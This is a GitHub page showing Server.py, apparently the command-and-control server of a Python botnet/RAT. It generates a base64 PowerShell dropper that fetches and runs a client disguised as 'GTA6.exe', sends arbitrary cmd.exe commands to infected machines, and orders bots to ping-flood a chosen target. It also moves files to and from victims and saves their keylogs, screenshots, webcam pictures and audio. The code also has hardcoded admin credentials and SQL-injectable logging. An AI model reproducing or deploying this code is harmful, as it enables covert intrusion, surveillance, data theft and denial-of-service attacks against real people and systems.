-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathServer.py
303 lines (272 loc) · 13.3 KB
/
Server.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
#Server.py
from flask import Flask, request, render_template, redirect, url_for, session, jsonify
from flask_socketio import SocketIO, emit
import os.path, subprocess, base64, sqlite3, threading
MAX_BUFFER_SIZE = 50 * 1000 * 1000
app = Flask(__name__)
server = SocketIO(app, max_http_buffer_size=MAX_BUFFER_SIZE)
app.secret_key = 'Fixer'
USERNAME = 'admin'
PASSWORD = 'admin9876'
server_ip = '0.0.0.0'
server_port = 8000
idNumber = 0
database = []
completedTasks = []
command_output = 'Now when you will again send any command you will see the output of previous command'
ping_output_list = []
file_transfer_list = []
class Client:
def __init__(self, info):
global idNumber
self.idNumber = idNumber
idNumber += 1
self.persistence = False
self.IP = info['IP']
self.hostname = info['hostname']
self.OS = info['OS']
self.sid = info['sid']
self.status = "Alive"
@app.route('/')
def redirectLogin():
return redirect(url_for('login'))
@app.route('/login', methods=['POST', 'GET'])
def login():
if request.method == 'POST':
username = request.form.get('userid')
password = request.form.get('passid')
if username == USERNAME and password == PASSWORD:
session['loggedin'] = True
session['username'] = USERNAME
return redirect(url_for('dashboard'))
else:
return render_template('login.html')
return render_template('login.html')
@app.route('/dashboard')
def dashboard():
if session.get('loggedin'):
return render_template('dashboard.html', database=database)
return redirect(url_for('login'))
@app.route('/payload', methods=['GET'])
def payload():
payload_ip = request.args.get('serverIP')
payload_port = request.args.get('port')
force_convert = request.args.get('forceConvert', False)
eventlogger_special = threading.Thread(target=eventlog_for_payload, args=(payload_ip, payload_port, force_convert))
eventlogger_special.start()
if force_convert != 'on':
initial_string = rf'$url = "http://{payload_ip}:{payload_port}/Client.py"; $destination = "C:\Program Files\WindowsPowerShell\Malware.py"; Invoke-WebRequest -Uri $url -OutFile $destination; Start-Process -FilePath $destination'
payload_string = base64.b64encode(initial_string.encode()).decode()
return render_template('payload.html', string=payload_string)
else:
status = pytoexe()
if status:
initial_string = rf'$url = "http://{payload_ip}:{payload_port}/build/GTA6/GTA6.exe"; $destination = "C:\Program Files\WindowsPowerShell\GTA6.exe"; Invoke-WebRequest -Uri $url -OutFile $destination; Start-Process -FilePath $destination'
payload_string = base64.b64encode(initial_string.encode()).decode()
return render_template('payload.html', string=payload_string)
else:
payload_string = 'Pyinstaller Could not convert the \"Client.py\" Python File to an Executable File'
return render_template('payload.html', string=payload_string)
def pytoexe():
command = ['pyinstaller', '--name', 'GTA6', '--icon=./static/GTA6.ico', '--distpath=build/dist', 'Client.py', '--noconsole']
process = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
process.communicate()
if process.returncode == 0:
return True
else:
return False
def eventlog_for_payload(payload_ip, payload_port, force_convert):
events = sqlite3.connect("Events.db")
events.execute("CREATE TABLE IF NOT EXISTS Payloads (serial_no INT AUTO_INCREMENT PRIMARY KEY, server_ip VARCHAR(15), port VARCHAR(5), force_convert VARCHAR(5))")
events.execute(f'''insert into Payloads (server_ip, port, force_convert) VALUES ("{payload_ip}", "{payload_port}", "{force_convert}")''')
events.commit()
events.close()
@app.route('/modules', methods=['GET', 'POST'])
def modules():
if not session.get('loggedin'):
return redirect(url_for('login'))
if request.method == 'POST':
idNumber = request.form.get('idNumber')
command = request.form.get('command')
if idNumber:
client_info = next((client for client in database if client.idNumber == int(idNumber)), None)
if client_info:
hostname = client_info.hostname
else:
return "ERROR: BOT with Provided BOT-ID not Found"
server.emit('module', {'idNumber': idNumber, 'command': command, 'hostname': hostname})
return render_template('modules.html', tasks=completedTasks)
else:
return "ERROR : Bot ID not provided"
return render_template('modules.html', tasks=completedTasks)
@server.on('module_output')
def handle_modules_output(module_output):
idNumber = module_output.get('idNumber')
command = module_output.get('command')
hostname = module_output.get('hostname')
status = module_output.get('result')
completedTasks.append({'idNumber': idNumber, 'hostname': hostname, 'command': command, 'result': status})
events = sqlite3.connect("Events.db")
events.execute("CREATE TABLE IF NOT EXISTS Modules (bot_id INT PRIMARY KEY, hostname VARCHAR(50), command VRACHAR(80), status VARCHAR(150))")
events.execute(f'''insert into Modules (bot_id, hostname, command, status) VALUES ("{idNumber}", "{hostname}", "{command}", "{status}")''')
events.commit()
events.close()
@app.route('/commands', methods=['GET'])
def commands():
if not session.get('loggedin'):
return redirect(url_for('login'))
idNumber = request.args.get('idNumber')
cmd = request.args.get('command')
if idNumber and cmd:
client_info = next((client for client in database if client.idNumber == int(idNumber)), None)
if client_info:
hostname = client_info.hostname
command = f"cmd.exe /C {cmd}"
server.emit('commands', {'idNumber': idNumber, 'command': command, 'hostname': hostname})
global command_output
return render_template('commands.html', output=command_output)
else:
return jsonify({'ERROR': 'BOT with provided BOT-ID not found'}), 404
else:
issue = "This page has an ISSUE of Output delay for real-time debugging."
return render_template('commands.html', output=issue)
@server.on('commands_output')
def handle_commands_output(output):
global command_output
idNumber = output.get('idNumber')
hostname = output.get('hostname')
command = output.get('command')
command_output = output.get('output')
events = sqlite3.connect("Events.db")
events.execute("CREATE TABLE IF NOT EXISTS Commands (bot_id INT PRIMARY KEY, hostname VARCHAR(50), command VRACHAR(80), output VARCHAR(20))")
events.execute(f'''insert into Commands (bot_id, hostname, command, output) VALUES ("{idNumber}", "{hostname}", "{command}", "RECEIVED / FAILED")''')
events.commit()
events.close()
@app.route('/ping', methods=['GET'])
def ping():
ip_address = request.args.get('target')
if ip_address:
send_ping(ip_address)
global ping_output_list
return render_template('ping.html', output=ping_output_list)
return render_template('ping.html')
def send_ping(ip_address):
for client in database:
idNumber = client.idNumber
command = f'ping {ip_address} -t -l 65500'
server.emit('ping', {'idNumber': idNumber, 'ip_address' : ip_address, 'command': command})
@server.on('ping_output')
def handle_ping_output(ping_output):
idNumber = ping_output.get('idNumber')
target = ping_output.get('target')
output = ping_output.get('output')
client_info = next((client for client in database if client.idNumber == int(idNumber)), None)
if client_info:
hostname = client_info.hostname
ping_output_list.append({'idNumber': idNumber, 'hostname': hostname, 'target': target, 'output': output})
events = sqlite3.connect("Events.db")
events.execute("CREATE TABLE IF NOT EXISTS DDOS_Attacks (serial_no INT AUTO_INCREMENT PRIMARY KEY, target VRACHAR(15))")
events.execute(f'''insert into DDOS_Attacks (target) VALUES ("{target}")''')
events.commit()
events.close()
@app.route('/file_transfer', methods=['GET'])
def file_transfer():
if not session.get('loggedin'):
return redirect(url_for('login'))
transfer_type = request.args.get('transferType')
idNumber = request.args.get('idNumber')
file_name = request.args.get('fileName')
if idNumber is not None:
client_info = next((client for client in database if client.idNumber == int(idNumber)), None)
if client_info:
hostname = client_info.hostname
if transfer_type == 'upload':
with open(f'{file_name}', 'rb') as file:
file_data = file.read()
server.emit('upload', {'idNumber': idNumber, 'transfer_type': transfer_type, 'hostname' : hostname, 'file_name': file_name, 'file_data' : file_data})
return render_template('file_transfer.html', transfer=file_transfer_list)
elif transfer_type == 'download':
server.emit('download', {'idNumber': idNumber, 'transfer_type': transfer_type, 'hostname' : hostname, 'file_name': file_name})
return render_template('file_transfer.html', transfer=file_transfer_list)
return render_template('file_transfer.html', transfer=file_transfer_list)
@server.on('file_status')
def file_status_update(file_status):
idNumber = file_status.get('idNumber')
transfer_type = file_status.get('transfer_type')
hostname = file_status.get('hostname')
file_name = file_status.get('file_name')
status = file_status.get('status')
file_transfer_list.append({'idNumber': idNumber, 'transfer_type': transfer_type, 'hostname' : hostname, 'file_name': file_name, 'status' : status})
events = sqlite3.connect("Events.db")
events.execute("CREATE TABLE IF NOT EXISTS File_Transfer (bot_id INT PRIMARY KEY, hostname VARCHAR(50), transfer_type VRACHAR(80), filename VARCHAR(350), status VARCHAR(250))")
events.execute(f'''insert into File_Transfer (bot_id, hostname, transfer_type, filename, status) VALUES ("{idNumber}", "{hostname}", "{transfer_type}", "{file_name}", "{status}")''')
events.commit()
events.close()
@server.on('download_from_client')
def download(input):
idNumber = input.get('idNumber')
transfer_type = input.get('transfer_type')
hostname = input.get('hostname')
file_name = input.get('file_name')
file_data = input.get('file_data')
file_path = "./Data/Files/" + file_name
if transfer_type == 'download':
try:
with open(file_path, 'wb') as file:
file.write(file_data)
status = "File Has Been Downloaded SuccessFully from the Client"
file_transfer_list.append({'idNumber': idNumber, 'transfer_type': transfer_type, 'hostname' : hostname, 'file_name': file_name, 'status' : status})
except:
status = "File Could not be Written on the Server"
file_transfer_list.append({'idNumber': idNumber, 'transfer_type': transfer_type, 'hostname' : hostname, 'file_name': file_name, 'status' : status})
@server.on('module_file')
def module_file_transfer(input):
command = input.get('command')
file_name = input.get('file_name')
file_data = input.get('file_data')
if command == 'screenshot':
file_path = "./Data/Screenshots/" + file_name
with open(file_path, 'wb') as file:
file.write(file_data)
elif command == 'picture':
file_path = "./Data/Pictures/" + file_name
with open(file_path, 'wb') as file:
file.write(file_data)
elif command == 'audio':
file_path = "./Data/Audios/" + file_name
with open(file_path, 'wb') as file:
file.write(file_data)
@server.on('keylogs')
def keylogs_saver(input):
hostname = input.get('hostname')
key = input.get('key')
filename = f"./Data/Keylogs/{hostname}_keylogs.txt"
if not os.path.exists(filename):
open(filename, 'a+').close()
if key is not None:
with open(filename, 'a') as logkey:
logkey.write(key)
@app.route('/logout')
def logout():
session.clear()
return redirect(url_for('login'))
@server.on('connect')
def onConnect():
pass
@server.on('disconnect')
def onDisconnect():
pass
@server.on('Initial_Information')
def handleInformation(Initial_Information):
server.emit('idNumber', {'idNumber': idNumber})
database.append(Client(Initial_Information))
hostname = Initial_Information.get("hostname")
operating_system = Initial_Information.get("OS")
ip = Initial_Information.get("IP")
events = sqlite3.connect("Events.db")
events.execute("CREATE TABLE IF NOT EXISTS Bots (bot_id INT AUTO_INCREMENT PRIMARY KEY, hostname VARCHAR(50), ip_address VARCHAR(15), os VRACHAR(50), status VARCHAR(5))")
events.execute(f'''insert into Bots (hostname, ip_address, os, status) VALUES ("{hostname}", "{ip}", "{operating_system}", "Alive")''')
events.commit()
events.close()
if __name__ == '__main__':
server.run(app, host=server_ip, port=server_port)